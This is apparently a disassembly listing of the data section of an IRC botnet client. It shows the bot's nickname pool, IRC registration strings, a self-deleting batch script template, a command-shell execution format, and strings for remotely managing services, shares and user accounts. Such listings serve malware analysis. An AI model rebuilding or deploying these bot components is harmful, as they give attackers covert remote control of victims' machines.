aSdf		db 'sdf',0              ; DATA XREF: ___:00438674o
aRt		db 'rt',0               ; DATA XREF: ___:00438670o
		align 10h
aGf		db 'gf',0               ; DATA XREF: ___:0043866Co
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438668o
		align 4
aRg		db 'rg',0               ; DATA XREF: ___:00438664o
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438660o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438640o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: ___:004385F8o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: ___:004385F4o
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:004385F0o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:004385ECo
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:004385E8o
		align 10h
aGens		db '{gens|',0           ; DATA XREF: ___:004385E4o
		align 4
aSex_0		db '{sex}',0            ; DATA XREF: ___:004385E0o
		align 10h
aHub		db '{hub}',0            ; DATA XREF: ___:004385DCo
		align 4
aLuck		db '|luck|',0           ; DATA XREF: ___:004385D8o
		align 10h
aSuck		db '|suck|',0           ; DATA XREF: ___:004385D4o
		align 4
aTot		db '-|tot|',0           ; DATA XREF: ___:004385D0o
		align 10h
aWoh		db '|woh|',0            ; DATA XREF: ___:004385CCo
		align 4
aTambe		db '|tambe|',0          ; DATA XREF: ___:004385C8o
aLag		db 'lag',0              ; DATA XREF: ___:004385C4o
aBad		db 'bad',0              ; DATA XREF: ___:004385C0o
aTree		db 'tree',0             ; DATA XREF: ___:004385BCo
		align 10h
aZex		db 'zex',0              ; DATA XREF: ___:004385B8o
aLez		db 'lez',0              ; DATA XREF: ___:004385B4o
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385ACo
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385A8o
		align 10h
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385A4o
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385A0o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:0043859Co
		align 10h
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438598o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438594o
		align 4
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438590o
		align 10h
aCem39		db 'cem39',0            ; DATA XREF: ___:0043858Co
		align 4
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438588o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438584o
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438580o
		align 4
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:0043857Co
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438578o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438574o
aAkden		db 'akden',0            ; DATA XREF: ___:00438570o
		align 4
aKoray		db 'KORAY',0            ; DATA XREF: ___:0043856Co
		align 10h
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438568o
		align 4
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438564o
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438560o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:0043855Co
		align 10h
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438558o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438554o
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438550o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:0043854Co
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438548o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:00438544o
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438540o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:0043853Co
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438538o
		align 10h
off_4389E0	dd offset byte_4B5245	; DATA XREF: ___:00438534o
aSevda		db 'sevda',0            ; DATA XREF: ___:00438530o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:0043852Co
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438528o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:00438524o
		align 4
aKapk		db 'kapk',0             ; DATA XREF: ___:00438520o
		align 10h
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:0043851Co
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438518o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:00438514o
		align 10h
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438510o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:0043850Co
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438508o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:00438504o
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438500o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004384FCo
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004384F8o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004384F4o
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004384F0o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004384ECo
		align 10h
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004384E8o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:004384E4o
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:004384E0o
aHoly		db 'holy',0             ; DATA XREF: ___:004384DCo
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: ___:004384D8o
		align 10h
aKebikec	db 'kebikec',0          ; DATA XREF: ___:004384D4o
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:004384D0o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:004384CCo
		align 10h
aEmre		db 'Emre--',0           ; DATA XREF: ___:004384C8o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384C4o
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384C0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384BCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384B8o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384B4o
aArda		db 'arda',0             ; DATA XREF: ___:004384B0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384ACo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384A8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384A4o
		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384A0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:0043849Co
		align 4
aBogac		db 'bogac',0            ; DATA XREF: ___:00438498o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:00438494o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438490o
		align 4
off_438B74	dd offset byte_457441	; DATA XREF: ___:0043848Co
dword_438B78	dd 414C5941h, 2Dh	; DATA XREF: ___:00438488o
aAlbina		db 'albina',0           ; DATA XREF: ___:00438484o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438480o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:0043847Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438478o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:00438474o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438470o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:0043846Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438468o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:00438464o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438460o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:0043845Co
aAslii		db 'aslii',0            ; DATA XREF: ___:00438458o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:00438454o
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438450o
aArzu		db 'ARZU',0             ; DATA XREF: ___:0043844Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438448o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:00438444o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438440o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: ___:0043843Co
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438438o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:00438434o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438430o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:0043842Co
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438428o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:00438424o
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438420o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:0043841Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438418o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:00438414o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438410o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:0043840Co
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438408o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:00438404o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438400o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004383FCo
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004383F8o
aReshma		db 'reshma',0           ; DATA XREF: ___:004383F4o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004383F0o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004383ECo
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004383E8o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:004383E4o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: ___:004383E0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:004383DCo
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:004383D8o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:004383D4o
aLuisa		db 'Luisa',0            ; DATA XREF: ___:004383D0o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:004383CCo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: ___:004383C8o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: ___:004383C4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: ___:004383C0o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: ___:004383BCo
		align 4
aCme		db 'cme',0              ; DATA XREF: ___:004383B8o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383B4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383B0o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383ACo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383A8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383A4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383A0o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:0043839Co
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438398o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00438394o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438390o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:0043838Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438388o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00438384o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438380o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:0043837Co
		align 4
aM_0:					; DATA XREF: ___:00438378o
					; ___:004386C4o
		unicode	0, <M>,0
word_438DE0	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00438374o
		align 4
dword_438DE4	dd 42h			; DATA XREF: ___:00438370o
dword_438DE8	dd 56h			; DATA XREF: ___:0043836Co
dword_438DEC	dd 43h			; DATA XREF: ___:00438368o
dword_438DF0	dd 58h			; DATA XREF: ___:00438364o
					; ___:004386F8o
dword_438DF4	dd 5Ah			; DATA XREF: ___:00438360o
dword_438DF8	dd 4Ch			; DATA XREF: ___:0043835Co
dword_438DFC	dd 4Bh			; DATA XREF: ___:00438358o
dword_438E00	dd 4Ah			; DATA XREF: ___:00438354o
dword_438E04	dd 48h			; DATA XREF: ___:00438350o
dword_438E08	dd 47h			; DATA XREF: ___:0043834Co
dword_438E0C	dd 46h			; DATA XREF: ___:00438348o
					; ___:004386C0o
dword_438E10	dd 44h			; DATA XREF: ___:00438344o
dword_438E14	dd 53h			; DATA XREF: ___:00438340o
dword_438E18	dd 50h			; DATA XREF: ___:00438338o
dword_438E1C	dd 4Fh			; DATA XREF: ___:00438334o
dword_438E20	dd 55h			; DATA XREF: ___:0043832Co
word_438E24	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00438328o
		align 4
dword_438E28	dd 54h			; DATA XREF: ___:00438324o
dword_438E2C	dd 52h			; DATA XREF: ___:00438320o
dword_438E30	dd 45h			; DATA XREF: ___:0043831Co
dword_438E34	dd 57h			; DATA XREF: ___:00438318o
dword_438E38	dd 51h			; DATA XREF: ___:00438314o
dword_438E3C	dd 62h			; DATA XREF: ___:00438308o
					; ___:004385FCo ...
dword_438E40	dd 78h			; DATA XREF: ___:004382FCo
					; ___:00438654o
dword_438E44	dd 7Ah			; DATA XREF: ___:004382F8o
					; ___:0043865Co ...
dword_438E48	dd 6Ch			; DATA XREF: ___:004382F4o
					; ___:00438628o
dword_438E4C	dd 68h			; DATA XREF: ___:004382E8o
					; ___:00438614o
dword_438E50	dd 67h			; DATA XREF: ___:004382E4o
					; ___:00438610o ...
dword_438E54	dd 66h			; DATA XREF: ___:004382E0o
					; ___:0043860Co
dword_438E58	dd 79h			; DATA XREF: ___:004382C4o
					; ___:00438658o
dword_438E5C	dd 77h			; DATA XREF: ___:004382B4o
					; ___:00438650o
dword_438E60	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_438E6C	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_438E70	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_438FE8	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_439018	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 10h
dword_439040	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h, 0
off_439060	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_439064	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_439068	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 4390D4h, 4390CCh,	2, 4390C0h, 4390B4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00439094o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439090o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439088o
aStart_0	db 'Start',0            ; DATA XREF: ___:00439084o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0043907Co
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439078o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439070o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043906Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439064o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439060o
unk_439128	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43914C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_439178	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_4396CC	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_4396F0	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43970C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439758	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4397B8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_4397E0	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439830	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_4399EC	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439A20	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
